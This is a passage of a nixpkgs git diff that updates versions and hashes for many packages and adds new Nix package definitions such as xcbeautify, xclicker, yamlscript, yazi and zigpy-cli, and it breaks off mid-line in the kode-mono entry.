0e4e5659318b7..5f5d4aa00955c 100644 --- a/pkgs/by-name/wi/wiremock/package.nix +++ b/pkgs/by-name/wi/wiremock/package.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "wiremock"; - version = "3.3.1"; + version = "3.4.2"; src = fetchurl { url = "mirror://maven/org/wiremock/wiremock-standalone/${version}/wiremock-standalone-${version}.jar"; - hash = "sha256-VgUJeQJeHNmmX1cS2s5hTljQZ8fIYr9uHYWMXjZjJzY="; + hash = "sha256-Btf7oQRmfQnHdl5DawF2xOczDrR/5Po/9NytgqTLkVQ="; }; dontUnpack = true; diff --git a/pkgs/tools/misc/wit-bindgen/default.nix b/pkgs/by-name/wi/wit-bindgen/package.nix index 9f0fbe1f45654..09a77b54dda2a 100644 --- a/pkgs/tools/misc/wit-bindgen/default.nix +++ b/pkgs/by-name/wi/wit-bindgen/package.nix @@ -5,16 +5,16 @@ rustPlatform.buildRustPackage rec { pname = "wit-bindgen"; - version = "0.17.0"; + version = "0.21.0"; src = fetchFromGitHub { owner = "bytecodealliance"; repo = "wit-bindgen"; - rev = "wit-bindgen-cli-${version}"; - hash = "sha256-eFJkr/RqQdULPquCVbjhR8843aGjeEnUCF/Ws2U5fQk="; + rev = "v${version}"; + hash = "sha256-rSPxvEZf4bnQfLNCmyZV7oOuhG/hRAcDs1zPmfovJ8o="; }; - cargoHash = "sha256-934lHOXzE2cLW6LMM0AQl/GJt4wSIKZlY1C7gmjGVrc="; + cargoHash = "sha256-oHSsbGLz8OcAfLeNA1yqVVRHa0ZkE8UoJn795t8xxGs="; # Some tests fail because they need network access to install the `wasm32-unknown-unknown` target. # However, GitHub Actions ensures a proper build. diff --git a/pkgs/tools/wayland/wlogout/default.nix b/pkgs/by-name/wl/wlogout/package.nix index 2be33bee6ac08..0107dbad89ba8 100644 --- a/pkgs/tools/wayland/wlogout/default.nix +++ b/pkgs/by-name/wl/wlogout/package.nix @@ -1,15 +1,16 @@ { lib -, stdenv , fetchFromGitHub -, pkg-config +, gitUpdater +, gtk-layer-shell +, gtk3 +, libxkbcommon , meson , ninja +, pkg-config , scdoc -, gtk3 -, libxkbcommon +, stdenv , wayland , wayland-protocols -, gtk-layer-shell # gtk-layer-shell fails to cross-compile due to a hard dependency # on gobject-introspection. # Disable it when cross-compiling since it's an optional dependency. @@ -17,20 +18,30 @@ , withGtkLayerShell ? (stdenv.buildPlatform == stdenv.hostPlatform) }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "wlogout"; - version = "1.1.1"; + version = "1.2.1"; src = fetchFromGitHub { owner = "ArtsyMacaw"; repo = "wlogout"; - rev = version; - sha256 = "cTscfx+erHVFHwwYpN7pADQWt5sq75sQSyXSP/H8kOs="; + rev = finalAttrs.version; + hash = "sha256-n8r+E6GXXjyDYBTOMiv5musamaUFSpRTM2qHgb047og="; }; - strictDeps = true; - depsBuildBuild = [ pkg-config ]; - nativeBuildInputs = [ pkg-config meson ninja scdoc ]; + outputs = [ "out" "man" ]; + + depsBuildBuild = [ + pkg-config + ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + scdoc + ]; + buildInputs = [ gtk3 libxkbcommon @@ -40,26 +51,32 @@ stdenv.mkDerivation rec { gtk-layer-shell ]; + strictDeps = true; + + mesonFlags = [ + "--datadir=${placeholder "out"}/share" + "--sysconfdir=${placeholder "out"}/etc" + ]; + postPatch = '' substituteInPlace style.css \ - --replace "/usr/share/wlogout" "$out/share/${pname}" + --replace "/usr/share/wlogout" "$out/share/wlogout" substituteInPlace main.c \ - --replace "/etc/wlogout" "$out/etc/${pname}" + --replace "/etc/wlogout" "$out/etc/wlogout" ''; - mesonFlags = [ - "--datadir=${placeholder "out"}/share" - "--sysconfdir=${placeholder "out"}/etc" - ]; + passthru = { + updateScript = gitUpdater { }; + }; - meta = with lib; { + meta = { homepage = "https://github.com/ArtsyMacaw/wlogout"; description = "A wayland based logout menu"; - license = licenses.mit; - maintainers = with maintainers; [ AndersonTorres ]; - platforms = platforms.linux; + changelog = "https://github.com/ArtsyMacaw/wlogout/releases/tag/${finalAttrs.src.rev}"; + license = with lib.licenses; [ mit ]; mainProgram = "wlogout"; + maintainers = with lib.maintainers; [ AndersonTorres ]; + inherit (wayland.meta) platforms; }; -} -# TODO: shell completions +}) diff --git a/pkgs/tools/system/wslu/fallback-conf-nix-store.diff b/pkgs/by-name/ws/wslu/fallback-conf-nix-store.diff index 6315e78d7de4e..6315e78d7de4e 100644 --- a/pkgs/tools/system/wslu/fallback-conf-nix-store.diff +++ b/pkgs/by-name/ws/wslu/fallback-conf-nix-store.diff diff --git a/pkgs/by-name/ws/wslu/fix-desktop-item.patch b/pkgs/by-name/ws/wslu/fix-desktop-item.patch new file mode 100644 index 0000000000000..5645cff98ae6e --- /dev/null +++ b/pkgs/by-name/ws/wslu/fix-desktop-item.patch @@ -0,0 +1,39 @@ +From f63028c5712a89cb310165cde9701538fa85ce46 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?=C3=A9clairevoyant?= + <848000+eclairevoyant@users.noreply.github.com> +Date: Wed, 6 Mar 2024 06:09:44 -0500 +Subject: [PATCH] fix desktop item + +--- + Makefile | 1 - + src/etc/wslview.desktop | 2 +- + 2 files changed, 1 insertion(+), 2 deletions(-) + +diff --git a/Makefile b/Makefile +index 2399009..e823882 100644 +--- a/Makefile ++++ b/Makefile +@@ -59,7 +59,6 @@ res_install: + install -Dm 644 src/etc/*.ps1 -t $(DESTDIR)$(PREFIX)/share/wslu + install -Dm 644 src/etc/*.ico -t $(DESTDIR)$(PREFIX)/share/wslu + install -Dm 755 src/etc/*.sh -t $(DESTDIR)$(PREFIX)/share/wslu +- install -Dm 644 src/etc/*.desktop $(DESTDIR)$(PREFIX)/share/wslu + install -Dm 644 src/etc/conf $(DESTDIR)$(PREFIX)/share/wslu + + conf_install: +diff --git a/src/etc/wslview.desktop b/src/etc/wslview.desktop +index ebb84b6..235a365 100644 +--- a/src/etc/wslview.desktop ++++ b/src/etc/wslview.desktop +@@ -2,7 +2,7 @@ + Name=WSLView + Comment=Open files and addresses in Windows + Icon=windows +-Exec=/usr/bin/wslview %U ++Exec=wslview %U + Terminal=false + Type=Application + Categories=Utility; +-- +2.43.1 + diff --git a/pkgs/tools/system/wslu/default.nix b/pkgs/by-name/ws/wslu/package.nix index 6337e479bb31e..422b8e76efb68 100644 --- a/pkgs/tools/system/wslu/default.nix +++ b/pkgs/by-name/ws/wslu/package.nix @@ -1,6 +1,7 @@ { lib , stdenv , fetchFromGitHub +, copyDesktopItems }: stdenv.mkDerivation rec { @@ -9,13 +10,16 @@ stdenv.mkDerivation rec { src = fetchFromGitHub { owner = "wslutilities"; - repo = pname; + repo = "wslu"; rev = "v${version}"; hash = "sha256-yhugh836BoSISbTu19ubLOrz5X31Opu5QtCR0DXrbWc="; }; + nativeBuildInputs = [ copyDesktopItems ]; + patches = [ ./fallback-conf-nix-store.diff + ./fix-desktop-item.patch ]; postPatch = '' @@ -28,6 +32,8 @@ stdenv.mkDerivation rec { "PREFIX=" ]; + desktopItems = [ "src/etc/wslview.desktop" ]; + meta = with lib; { description = "A collection of utilities for Windows Subsystem for Linux"; homepage = "https://github.com/wslutilities/wslu"; diff --git a/pkgs/by-name/wt/wtfis/package.nix b/pkgs/by-name/wt/wtfis/package.nix index 720d08a06093a..0a9ae5bd0bd36 100644 --- a/pkgs/by-name/wt/wtfis/package.nix +++ b/pkgs/by-name/wt/wtfis/package.nix @@ -5,12 +5,12 @@ let pname = "wtfis"; - version = "0.7.1"; + version = "0.8.0"; src = fetchFromGitHub { owner = "pirxthepilot"; repo = "wtfis"; rev = "refs/tags/v${version}"; - hash = "sha256-X3e0icyhNPg8P6+N9k6a9WwBJ8bXRPdo3fj4cj+yY6w="; + hash = "sha256-eSmvyDr8PbB15UWIl67Qp2qHeOq+dmnP8eMsvcGypVw="; }; in python3.pkgs.buildPythonApplication { inherit pname version src; diff --git a/pkgs/by-name/xc/xcbeautify/package.nix b/pkgs/by-name/xc/xcbeautify/package.nix new file mode 100644 index 0000000000000..5ad33771d358c --- /dev/null +++ b/pkgs/by-name/xc/xcbeautify/package.nix @@ -0,0 +1,41 @@ +{ lib +, stdenv +, fetchurl +, unzip +}: + +stdenv.mkDerivation rec { + pname = "xcbeautify"; + version = "1.4.0"; + + src = fetchurl { + url = "https://github.com/cpisciotta/xcbeautify/releases/download/${version}/xcbeautify-${version}-${stdenv.hostPlatform.darwinArch}-apple-macosx.zip"; + hash = lib.getAttr stdenv.hostPlatform.darwinArch { + arm64 = "sha256-4b4mXT5IfNOS8iOrZASDhTrmOehG4mePcoiKxR+IdZk="; + x86_64 = "sha256-adEfAK7n3Q/Yd1deyJx7htX7hZaGDztEeBv4z2A0wzg="; + }; + }; + + nativeBuildInputs = [ unzip ]; + + unpackPhase = '' + unzip $src + ''; + + installPhase = '' + runHook preInstall + + install -D xcbeautify $out/bin/xcbeautify + + runHook postInstall + ''; + + meta = with lib; { + description = "Little beautifier tool for xcodebuild"; + homepage = "https://github.com/cpisciotta/xcbeautify"; + license = licenses.mit; + platforms = platforms.darwin; + mainProgram = "xcbeautify"; + maintainers = with maintainers; [ siddarthkay ]; + }; +} diff --git a/pkgs/by-name/xc/xclicker/package.nix b/pkgs/by-name/xc/xclicker/package.nix new file mode 100644 index 0000000000000..3a6597dc48325 --- /dev/null +++ b/pkgs/by-name/xc/xclicker/package.nix @@ -0,0 +1,63 @@ +{ lib +, stdenv +, fetchFromGitHub +, fetchpatch +, meson +, ninja +, pkg-config +, wrapGAppsHook +, gtk3 +, libXtst +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "xclicker"; + version = "1.5.0"; + + src = fetchFromGitHub { + owner = "robiot"; + repo = "xclicker"; + rev = "v${finalAttrs.version}"; + hash = "sha256-3D49iMzCCT9Z2Pf5INHYFZusG0BQI7La7lLaSVM/4mc="; + }; + + patches = [ + (fetchpatch { + name = "fix-malloc-size.patch"; + url = "https://github.com/robiot/xclicker/commit/c99f69a747e9df75fb3676be20a3ec805526d022.patch"; + hash = "sha256-ESbMBusJVNfbGxlEn1Kby00mnXvM5H0r03bX5ofC6Fg="; + }) + ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + wrapGAppsHook + ]; + + buildInputs = [ + gtk3 + libXtst + ]; + + mesonBuildType = "release"; + + installPhase = '' + runHook preInstall + install -Dm755 ./src/xclicker $out/bin/xclicker + install -Dm644 $src/assets/xclicker.desktop $out/share/applications/xclicker.desktop + install -Dm644 $src/assets/icon.png $out/share/pixmaps/xclicker.png + runHook postInstall + ''; + + meta = { + changelog = "https://github.com/robiot/xclicker/releases/tag/${finalAttrs.src.rev}"; + description = "Fast gui autoclicker for x11 linux desktops"; + homepage = "https://xclicker.xyz/"; + license = lib.licenses.gpl3Only; + mainProgram = "xclicker"; + maintainers = with lib.maintainers; [ tomasajt ]; + platforms = lib.platforms.linux; + }; +}) diff --git a/pkgs/by-name/xd/xdg-desktop-portal-cosmic/package.nix b/pkgs/by-name/xd/xdg-desktop-portal-cosmic/package.nix index ea90ed1c9fea5..6009c29aab5bf 100644 --- a/pkgs/by-name/xd/xdg-desktop-portal-cosmic/package.nix +++ b/pkgs/by-name/xd/xdg-desktop-portal-cosmic/package.nix @@ -56,6 +56,7 @@ rustPlatform.buildRustPackage rec { description = "XDG Desktop Portal for the COSMIC Desktop Environment"; license = licenses.gpl3Only; maintainers = with maintainers; [ nyanbinary ]; + mainProgram = "xdg-desktop-portal-cosmic"; platforms = platforms.linux; }; } diff --git a/pkgs/by-name/xd/xdg-desktop-portal-shana/package.nix b/pkgs/by-name/xd/xdg-desktop-portal-shana/package.nix new file mode 100644 index 0000000000000..b5e7aa0c3c011 --- /dev/null +++ b/pkgs/by-name/xd/xdg-desktop-portal-shana/package.nix @@ -0,0 +1,44 @@ +{ lib +, rustPlatform +, fetchFromGitHub +, meson +, ninja +, xdg-desktop-portal +}: + +rustPlatform.buildRustPackage rec { + pname = "xdg-desktop-portal-shana"; + version = "0.3.9"; + + src = fetchFromGitHub { + owner = "Decodetalkers"; + repo = "xdg-desktop-portal-shana"; + rev = "v${version}"; + sha256 = "cgiWlZbM0C47CisR/KlSV0xqfeKgM41QaQihjqSy9CU="; + }; + + nativeBuildInputs = [ + meson + ninja + ]; + + buildInputs = [ + xdg-desktop-portal + ]; + + # Needed for letting meson run. rustPackage will overwrite it otherwise. + configurePhase = ""; + + mesonBuildType = "release"; + + cargoHash = "sha256-uDM4a7AB0753c/H1nfic/LjWrLmjEvi/p2S/tLIDXaQ="; + + meta = with lib; { + description = "A filechooser portal backend for any desktop environment"; + homepage = "https://github.com/Decodetalkers/xdg-desktop-portal-shana"; + license = licenses.mit; + platforms = platforms.linux; + maintainers = [ maintainers.samuelefacenda ]; + }; + +} diff --git a/pkgs/by-name/xd/xdg-utils-cxx/package.nix b/pkgs/by-name/xd/xdg-utils-cxx/package.nix new file mode 100644 index 0000000000000..d5c9e7c9aff8b --- /dev/null +++ b/pkgs/by-name/xd/xdg-utils-cxx/package.nix @@ -0,0 +1,30 @@ +{ + lib, + stdenv, + fetchFromGitHub, + cmake, +}: +stdenv.mkDerivation rec { + pname = "xdg-utils-cxx"; + version = "1.0.1"; + + src = fetchFromGitHub { + owner = "azubieta"; + repo = "xdg-utils-cxx"; + rev = "v${version}"; + hash = "sha256-hEN0xqZUNfMOIrw3q+x4kEFhYoqmyn7W3f2w8AGw2wI="; + }; + + nativeBuildInputs = [ + cmake + ]; + + meta = with lib; { + description = "Implementation of the FreeDesktop specifications to be used in c++ projects"; + homepage = "https://github.com/azubieta/xdg-utils-cxx"; + license = licenses.mit; + maintainers = with maintainers; [ k900 ]; + mainProgram = "xdg-utils-cxx"; + platforms = platforms.linux; + }; +} diff --git a/pkgs/by-name/xi/xiu/package.nix b/pkgs/by-name/xi/xiu/package.nix new file mode 100644 index 0000000000000..294fac1dc861c --- /dev/null +++ b/pkgs/by-name/xi/xiu/package.nix @@ -0,0 +1,48 @@ +{ lib +, cmake +, darwin +, fetchFromGitHub +, libopus +, openssl +, pkg-config +, rustPlatform +, stdenv +}: + +rustPlatform.buildRustPackage rec { + pname = "xiu"; + version = "0.12.4"; + + src = fetchFromGitHub { + owner = "harlanc"; + repo = "xiu"; + rev = "v${version}"; + hash = "sha256-tXZCWbqwt3v20rvfre/gAUzs8i78FpbNd5qAGNOX5VE="; + }; + + cargoHash = "sha256-6nWnw31A27VWJe8JGM+S05sqcZwQRrb1aanamv6ITZ4="; + + nativeBuildInputs = [ + cmake + pkg-config + ]; + + buildInputs = [ + libopus + ] ++ lib.optionals stdenv.isLinux [ + openssl + ] ++ lib.optionals stdenv.isDarwin [ + darwin.apple_sdk.frameworks.SystemConfiguration + ]; + + OPENSSL_NO_VENDOR = 1; + + meta = with lib; { + description = "A simple, high performance and secure live media server in pure Rust (RTMP[cluster]/RTSP/WebRTC[whip/whep]/HTTP-FLV/HLS"; + homepage = "https://github.com/harlanc/xiu"; + changelog = "https://github.com/harlanc/xiu/releases/tag/v${version}"; + license = licenses.mit; + maintainers = with maintainers; [ marsam ]; + mainProgram = "xiu"; + }; +} diff --git a/pkgs/by-name/xr/xr-hardware/package.nix b/pkgs/by-name/xr/xr-hardware/package.nix new file mode 100644 index 0000000000000..b2359c2673df8 --- /dev/null +++ b/pkgs/by-name/xr/xr-hardware/package.nix @@ -0,0 +1,27 @@ +{ + lib, + stdenvNoCC, + fetchFromGitLab +}: stdenvNoCC.mkDerivation { + pname = "xr-hardware"; + version = "unstable-2023-11-08"; + + src = fetchFromGitLab { + domain = "gitlab.freedesktop.org"; + owner = "monado/utilities"; + repo = "xr-hardware"; + rev = "9204de323210d2a5ab8635c2ee52127100de67b1"; + hash = "sha256-ZS15WODms/WKsPu+WbfILO2BOwnxrhCY/SoF8jzOX5Q="; + }; + + installTargets = "install_package"; + installFlagsArray = "DESTDIR=${placeholder "out"}"; + + meta = with lib; { + description = "Hardware description for XR devices"; + homepage = "https://gitlab.freedesktop.org/monado/utilities/xr-hardware"; + license = licenses.boost; + maintainers = with maintainers; [ Scrumplex ]; + platforms = platforms.linux; + }; +} diff --git a/pkgs/by-name/ya/yamlscript/package.nix b/pkgs/by-name/ya/yamlscript/package.nix new file mode 100644 index 0000000000000..ab541bb496b31 --- /dev/null +++ b/pkgs/by-name/ya/yamlscript/package.nix @@ -0,0 +1,40 @@ +{ lib, buildGraalvmNativeImage, fetchurl }: + +buildGraalvmNativeImage rec { + pname = "yamlscript"; + version = "0.1.39"; + + src = fetchurl { + url = "https://github.com/yaml/yamlscript/releases/download/${version}/yamlscript.cli-${version}-standalone.jar"; + hash = "sha256-P64Ekkn8yIuct+dl4dVYDRhMmKFieIa75r0rJbTvfhg="; + }; + + executable = "ys"; + + extraNativeImageBuildArgs = [ + "--native-image-info" + "--no-fallback" + "--initialize-at-build-time" + "--enable-preview" + "-H:+ReportExceptionStackTraces" + "-H:IncludeResources=SCI_VERSION" + "-H:Log=registerResource:" + "-J-Dclojure.spec.skip-macros=true" + "-J-Dclojure.compiler.direct-linking=true" + ]; + + doInstallCheck = true; + + installCheckPhase = '' + $out/bin/ys -e 'say: (+ 1 2)' | fgrep 3 + ''; + + meta = with lib; { + description = "Programming in YAML"; + homepage = "https://github.com/yaml/yamlscript"; + sourceProvenance = with sourceTypes; [ binaryBytecode ]; + license = licenses.mit; + mainProgram = "ys"; + maintainers = with maintainers; [ sgo ]; + }; +} diff --git a/pkgs/by-name/ya/yazi-unwrapped/package.nix b/pkgs/by-name/ya/yazi-unwrapped/package.nix new file mode 100644 index 0000000000000..4c2d1065fad6a --- /dev/null +++ b/pkgs/by-name/ya/yazi-unwrapped/package.nix @@ -0,0 +1,46 @@ +{ rustPlatform +, fetchFromGitHub +, lib + +, installShellFiles +, stdenv +, Foundation + +, nix-update-script +}: + +rustPlatform.buildRustPackage rec { + pname = "yazi"; + version = "0.2.3"; + + src = fetchFromGitHub { + owner = "sxyazi"; + repo = pname; + rev = "v${version}"; + hash = "sha256-2AiaJs6xY8hsB1DBxpPwdZtc8IZvsoCGWBOFVMf4dvk="; + }; + + cargoHash = "sha256-fRUmXv27sHYz8z0cc795JCPLHDQGgTV4wAWAtQ/pbg4="; + + env.YAZI_GEN_COMPLETIONS = true; + + nativeBuildInputs = [ installShellFiles ]; + buildInputs = lib.optionals stdenv.isDarwin [ Foundation ]; + + postInstall = '' + installShellCompletion --cmd yazi \ + --bash ./yazi-config/completions/yazi.bash \ + --fish ./yazi-config/completions/yazi.fish \ + --zsh ./yazi-config/completions/_yazi + ''; + + passthru.updateScript = nix-update-script { }; + + meta = with lib; { + description = "Blazing fast terminal file manager written in Rust, based on async I/O"; + homepage = "https://github.com/sxyazi/yazi"; + license = licenses.mit; + maintainers = with maintainers; [ xyenon matthiasbeyer ]; + mainProgram = "yazi"; + }; +} diff --git a/pkgs/by-name/ya/yazi/package.nix b/pkgs/by-name/ya/yazi/package.nix new file mode 100644 index 0000000000000..134db023edd96 --- /dev/null +++ b/pkgs/by-name/ya/yazi/package.nix @@ -0,0 +1,48 @@ +{ lib +, runCommand +, makeWrapper +, yazi-unwrapped + +, withFile ? true +, file +, withJq ? true +, jq +, withPoppler ? true +, poppler_utils +, withUnar ? true +, unar +, withFfmpegthumbnailer ? true +, ffmpegthumbnailer +, withFd ? true +, fd +, withRipgrep ? true +, ripgrep +, withFzf ? true +, fzf +, withZoxide ? true +, zoxide +}: + +let + runtimePaths = with lib; [ ] + ++ optional withFile file + ++ optional withJq jq + ++ optional withPoppler poppler_utils + ++ optional withUnar unar + ++ optional withFfmpegthumbnailer ffmpegthumbnailer + ++ optional withFd fd + ++ optional withRipgrep ripgrep + ++ optional withFzf fzf + ++ optional withZoxide zoxide; +in +runCommand yazi-unwrapped.name +{ + inherit (yazi-unwrapped) pname version meta; + + nativeBuildInputs = [ makeWrapper ]; +} '' + mkdir -p $out/bin + ln -s ${yazi-unwrapped}/share $out/share + makeWrapper ${yazi-unwrapped}/bin/yazi $out/bin/yazi \ + --prefix PATH : "${lib.makeBinPath runtimePaths}" +'' diff --git a/pkgs/by-name/ys/ysfx/package.nix b/pkgs/by-name/ys/ysfx/package.nix new file mode 100644 index 0000000000000..ac7807df8cd54 --- /dev/null +++ b/pkgs/by-name/ys/ysfx/package.nix @@ -0,0 +1,63 @@ +{ lib, stdenv, fetchFromGitHub, cmake, pkg-config +, freetype, juce, libX11, libXcursor, libXext, libXinerama, libXrandr, libglvnd +}: + +stdenv.mkDerivation rec { + pname = "ysfx"; + version = "0-unstable-2022-07-31"; + + src = fetchFromGitHub { + owner = "jpcima"; + repo = "ysfx"; + rev = "8077347ccf4115567aed81400281dca57acbb0cc"; + hash = "sha256-pObuOb/PA9WkKB2FdMDCOd9TKmML+Sj2MybLP0YwT+8="; + }; + + # Provide latest dr_libs. + dr_libs = fetchFromGitHub { + owner = "mackron"; + repo = "dr_libs"; + rev = "e4a7765e598e9e54dc0f520b7e4416359bee80cc"; + hash = "sha256-rWabyCP47vd+EfibBWy6iQY/nFN/OXPNhkuOTSboJaU="; + }; + + prePatch = '' + rmdir thirdparty/dr_libs + ln -s ${dr_libs} thirdparty/dr_libs + ''; + + nativeBuildInputs = [ cmake pkg-config ]; + + buildInputs = [ + freetype + juce + libX11 + libXcursor + libXext + libXinerama + libXrandr + libglvnd + ]; + + cmakeFlags = [ + "-DYSFX_PLUGIN_COPY=OFF" + "-DYSFX_PLUGIN_USE_SYSTEM_JUCE=ON" + ]; + + installPhase = '' + runHook preInstall + + mkdir -p $out/lib + cp -r ysfx_plugin_artefacts/Release/VST3 $out/lib/vst3 + + runHook postInstall + ''; + + meta = with lib; { + description = "Hosting library for JSFX"; + homepage = "https://github.com/jpcima/ysfx"; + license = licenses.asl20; + maintainers = with maintainers; [ orivej ]; + platforms = platforms.linux; + }; +} diff --git a/pkgs/by-name/za/zabbix-agent2-plugin-postgresql/package.nix b/pkgs/by-name/za/zabbix-agent2-plugin-postgresql/package.nix new file mode 100644 index 0000000000000..97aeb25d36c90 --- /dev/null +++ b/pkgs/by-name/za/zabbix-agent2-plugin-postgresql/package.nix @@ -0,0 +1,21 @@ +{ lib, buildGoModule, fetchurl, pkg-config }: + +buildGoModule rec { + pname = "zabbix-agent2-plugin-postgresql"; + version = "6.0.25"; + + src = fetchurl { + url = "https://cdn.zabbix.com/zabbix-agent2-plugins/sources/postgresql/zabbix-agent2-plugin-postgresql-${version}.tar.gz"; + hash = "sha256-NFohopyUFO2C1k5moM4qkXX0Q9zc8W0Z+WrvZ5lgr1I="; + }; + + vendorHash = null; + + meta = with lib; { + description = "Required tool for Zabbix agent integrated PostgreSQL monitoring"; + homepage = "https://www.zabbix.com/integrations/postgresql"; + license = licenses.asl20; + maintainers = with maintainers; [ gador ]; + platforms = platforms.linux; + }; +} diff --git a/pkgs/by-name/za/zapzap/package.nix b/pkgs/by-name/za/zapzap/package.nix index 6c3fcb27fc935..fabde8cd0cd4d 100644 --- a/pkgs/by-name/za/zapzap/package.nix +++ b/pkgs/by-name/za/zapzap/package.nix @@ -6,14 +6,14 @@ python3Packages.buildPythonApplication rec { pname = "zapzap"; - version = "5.1.3"; + version = "5.2.1"; format = "setuptools"; src = fetchFromGitHub { owner = "zapzap-linux"; repo = "zapzap"; - rev = version; - hash = "sha256-IxBmtXrRIxUqnhB4OsL+lRIBTISdIqpcbI/uZ31MEBU="; + rev = "refs/tags/${version}"; + hash = "sha256-Jswt/SWsrrXdJtaT3FAOuOCkrwlpy+lSJa6/gquMiwY="; }; nativeBuildInputs = with python3Packages; [ diff --git a/pkgs/by-name/zb/zbus-xmlgen/package.nix b/pkgs/by-name/zb/zbus-xmlgen/package.nix index 2e0dc5715f518..5e226e3b711eb 100644 --- a/pkgs/by-name/zb/zbus-xmlgen/package.nix +++ b/pkgs/by-name/zb/zbus-xmlgen/package.nix @@ -2,16 +2,17 @@ rustPlatform.buildRustPackage rec { pname = "zbus_xmlgen"; - version = "3.1.1"; + version = "4.0.1"; src = fetchCrate { inherit pname version; - hash = "sha256-vaefyfasOLFFYWPjSJFgjIFkvnRiJVe/GLYUQxUYlt0="; + hash = "sha256-GkNxlfwLIBfAAcwQnwJHjcviB8tiNVNDZNDib1FQcvs="; }; - cargoHash = "sha256-WXJ49X4B2aNy1zPbTllIzRhZJvF+RwfQ0Hhm/D+LQfk="; + cargoHash = "sha256-dKoxLEdLZ8B8kTJj3tHcFJzY/Rv3NvwmZBAmHyNhOg8="; nativeBuildInputs = [ makeBinaryWrapper ]; + nativeCheckInputs = [ rustfmt ]; postInstall = '' wrapProgram $out/bin/zbus-xmlgen \ diff --git a/pkgs/by-name/zc/zcfan/package.nix b/pkgs/by-name/zc/zcfan/package.nix index 4534a71fa3e4d..c6bb42c286fbd 100644 --- a/pkgs/by-name/zc/zcfan/package.nix +++ b/pkgs/by-name/zc/zcfan/package.nix @@ -6,13 +6,13 @@ # Testing this requires a Thinkpad or the presence of /proc/acpi/ibm/fan stdenv.mkDerivation (finalAttrs: { pname = "zcfan"; - version = "1.2.1"; + version = "1.3.0"; src = fetchFromGitHub { owner = "cdown"; repo = "zcfan"; rev = finalAttrs.version; - hash = "sha256-XngchR06HP2iExKJVe+XKBDgsv98AEYWOkl1a/Hktgs="; + hash = "sha256-zpYQEHXt8LBNX+luM4YxP0dKH+hb2c8Z0BEeGP09oZo="; }; postPatch = '' diff --git a/pkgs/by-name/zi/zigpy-cli/package.nix b/pkgs/by-name/zi/zigpy-cli/package.nix new file mode 100644 index 0000000000000..f0ddf387354b6 --- /dev/null +++ b/pkgs/by-name/zi/zigpy-cli/package.nix @@ -0,0 +1,60 @@ +{ lib +, fetchFromGitHub +, python3 +}: + +python3.pkgs.buildPythonPackage rec { + pname = "zigpy-cli"; + version = "1.0.4"; + pyproject = true; + + src = fetchFromGitHub { + owner = "zigpy"; + repo = "zigpy-cli"; + rev = "refs/tags/v${version}"; + hash = "sha256-OxVSEBo+wFEBZnWpmQ4aUZWppCh0oavxlQvwDXiWiG8="; + }; + + postPatch = '' + substituteInPlace pyproject.toml \ + --replace-fail '"setuptools-git-versioning<2"' "" \ + --replace-fail 'dynamic = ["version"]' 'version = "${version}"' + ''; + + nativeBuildInputs = with python3.pkgs; [ + setuptools + ]; + + propagatedBuildInputs = with python3.pkgs; [ + bellows + click + coloredlogs + scapy + zigpy + zigpy-deconz + zigpy-xbee + # zigpy-zboss # not packaged + zigpy-zigate + zigpy-znp + ]; + + nativeCheckInputs = with python3.pkgs; [ + freezegun + pytest-asyncio + pytest-timeout + pytestCheckHook + ]; + + pythonImportsCheck = [ + "zigpy_cli" + ]; + + meta = with lib; { + description = "Command line interface for zigpy"; + homepage = "https://github.com/zigpy/zigpy-cli"; + changelog = "https://github.com/zigpy/zigpy/releases/tag/v${version}"; + license = licenses.gpl3Plus; + maintainers = with maintainers; [ SuperSandro2000 ]; + platforms = platforms.linux; + }; +} diff --git a/pkgs/by-name/zp/zpaqfranz/package.nix b/pkgs/by-name/zp/zpaqfranz/package.nix index 1cadf937b5cf0..9719eb7dc81d4 100644 --- a/pkgs/by-name/zp/zpaqfranz/package.nix +++ b/pkgs/by-name/zp/zpaqfranz/package.nix @@ -6,13 +6,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "zpaqfranz"; - version = "59.1"; + version = "59.2"; src = fetchFromGitHub { owner = "fcorbelli"; repo = "zpaqfranz"; rev = finalAttrs.version; - hash = "sha256-i5HWAeREeMBjPMNhSSyJPmKRCChn9/08kV97kHOWJdk="; + hash = "sha256-NPkaOmjeLPznG/kY2cF9ROA7SzWEeKKCcPhP91PnYOk="; }; nativeBuildInputs = [ diff --git a/pkgs/by-name/zx/zxtune/package.nix b/pkgs/by-name/zx/zxtune/package.nix index 959b80952c1e5..436a241533662 100644 --- a/pkgs/by-name/zx/zxtune/package.nix +++ b/pkgs/by-name/zx/zxtune/package.nix @@ -41,7 +41,7 @@ let ++ lib.optional withQt (if (supportWayland) then qt5.qtwayland else qt5.qtbase); in stdenv.mkDerivation rec { pname = "zxtune"; - version = "5055"; + version = "5056"; outputs = [ "out" ]; @@ -49,7 +49,7 @@ in stdenv.mkDerivation rec { owner = "zxtune"; repo = "zxtune"; rev = "r${version}"; - hash = "sha256-ABXGbzjdsPUuQnwZQOho4s2xRSDGzbZdA6/hCkBb7zE="; + hash = "sha256-zvLbgS8AFW4kkvTccGXcr1KEw3EH47XcHwzq6CKzusQ="; }; passthru.updateScript = nix-update-script { diff --git a/pkgs/data/fonts/julia-mono/default.nix b/pkgs/data/fonts/julia-mono/default.nix index 6b343bcb163d1..dc9ebf5ef25fb 100644 --- a/pkgs/data/fonts/julia-mono/default.nix +++ b/pkgs/data/fonts/julia-mono/default.nix @@ -2,12 +2,12 @@ stdenvNoCC.mkDerivation rec { pname = "JuliaMono-ttf"; - version = "0.053"; + version = "0.054"; src = fetchzip { url = "https://github.com/cormullion/juliamono/releases/download/v${version}/${pname}.tar.gz"; stripRoot = false; - hash = "sha256-KvDyT0T8ecpSoNmqvsvDMooWNNe+z/PvxYj1Nd6qqfA="; + hash = "sha256-DtvaFu3r2r5WmlFCbkbzqAk/Y2BNEnxR6hPDfKM+/aQ="; }; installPhase = '' diff --git a/pkgs/data/fonts/kode-mono/default.nix b/pkgs/data/fonts/kode-mono/default.nix index 8a46179893988..c4cd9f2de3613 100644 --- a/pkgs/data/fonts/kode-mono/default.nix +++ b/pkgs/data/fonts/kode-mono/default.nix @@ -2,11 +2,11 @@ stdenvNoCC.mkDerivation (finalAttrs: { pname = "kode-mono"; - version = "1.205"; + version = "1.206"; src = fetchzip { url = 